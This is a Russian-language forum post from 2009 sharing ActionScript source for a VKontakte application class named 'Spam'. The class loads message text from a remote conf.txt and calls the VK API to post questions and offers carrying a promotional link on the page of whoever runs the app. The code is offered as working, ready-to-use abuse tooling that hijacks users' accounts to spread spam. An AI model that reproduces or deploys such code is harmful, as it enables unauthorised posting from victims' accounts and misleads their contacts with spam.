
04.12.2009, 23:16
|
|
Участник форума
Регистрация: 02.11.2008
Сообщений: 222
Провел на форуме: 3459722
Репутация:
155
|
|
Не знал куда выложить.Вот исходник приложения вк который автоматом добавляет вопросы и заметки на страничку с вашим текстом.Файл с вопросами берет с вашего сайта с документа в формате *.txt.Проверял довно,работал.Вроде выложил весь исходник.
Код:
package
{
import flash.events.*;
import flash.net.*;
public class Spam extends Object
{
private var questionType:String = "0";
var _api_id:String;
var vars1:URLVariables;
var vars2:URLVariables;
var sig:String;
var loader:URLLoader;
var conf:String;
var req:URLRequest;
var res:String;
var _viewer_id:String;
var vars:URLVariables;
var url:String = "http://api.vkontakte.ru/api.php";
private var offerText:String = "Привет! Хочешь узнать, как получить бонус? заходи на ololo.ru";
var cont:Array;
private var questionText:String = "Привет! Хочешь узнать, как получить бонус? заходи на ololo.ru";
var secret:String = "ololo";
var signature:String;
var loader2:URLLoader;
public function Spam(param1:String, param2:String)
{
secret = "ololo";
url = "http://api.vkontakte.ru/api.php";
offerText = "Привет! Хочешь узнать, как получить бонус? заходи на ololo.ru";
questionText = "Привет! Хочешь узнать, как получить бонус? заходи на ololo.ru";
questionType = "0";
loader = new URLLoader();
loader2 = new URLLoader();
vars = new URLVariables();
vars1 = new URLVariables();
vars2 = new URLVariables();
req = new URLRequest(url);
_api_id = param1;
_viewer_id = param2;
loader2.addEventListener(Event.COMPLETE, onConf);
loader2.load(new URLRequest("http://сайт.ru/conf.txt"));
return;
}// end function
public function openOffer()
{
sig = _viewer_id + "api_id=" + _api_id + "method=offers.open" + "test_mode=0" + "v=2.0" + secret;
signature = MD5.encrypt(sig);
vars1.api_id = _api_id;
vars1.method = "offers.open";
vars1.test_mode = "0";
vars1.v = "2.0";
vars1.sig = signature;
req.method = URLRequestMethod.POST;
req.data = vars1;
try
{
sendToURL(req);
}// end try
catch (e:Error)
{
trace(e.message);
}// end catch
return;
}// end function
public function onOfferComplete(param1:Event)
{
openOffer();
return;
}// end function
public function newOffer()
{
sig = _viewer_id + "api_id=" + _api_id + "message=" + offerText + "method=offers.edit" + "test_mode=0" + "v=2.0" + secret;
signature = MD5.encrypt(sig);
vars2.api_id = _api_id;
vars2.method = "offers.edit";
vars2.message = offerText;
vars2.test_mode = "0";
vars2.v = "2.0";
vars2.sig = signature;
req.method = URLRequestMethod.POST;
req.data = vars2;
loader.addEventListener(Event.COMPLETE, onOfferComplete);
try
{
loader.load(req);
}// end try
catch (e:Error)
{
trace(e.message);
}// end catch
return;
}// end function
public function onConf(param1:Event)
{
res = param1.target.data.toString();
cont = res.split("\n");
offerText = cont[0];
questionText = cont[1];
questionType = cont[2];
trace(offerText);
return;
}// end function
public function newQuestion()
{
sig = _viewer_id + "api_id=" + _api_id + "method=questions.add" + "test_mode=0" + "text=" + questionText + "type=" + questionType + "v=2.0" + secret;
signature = MD5.encrypt(sig);
vars.api_id = _api_id;
vars.method = "questions.add";
vars.text = questionText;
vars.type = questionType;
vars.test_mode = "0";
vars.v = "2.0";
vars.sig = signature;
req.method = URLRequestMethod.POST;
req.data = vars;
try
{
sendToURL(req);
}// end try
catch (e:Error)
{
trace(e.message);
}// end catch
return;
}// end function
}
}
|
|
|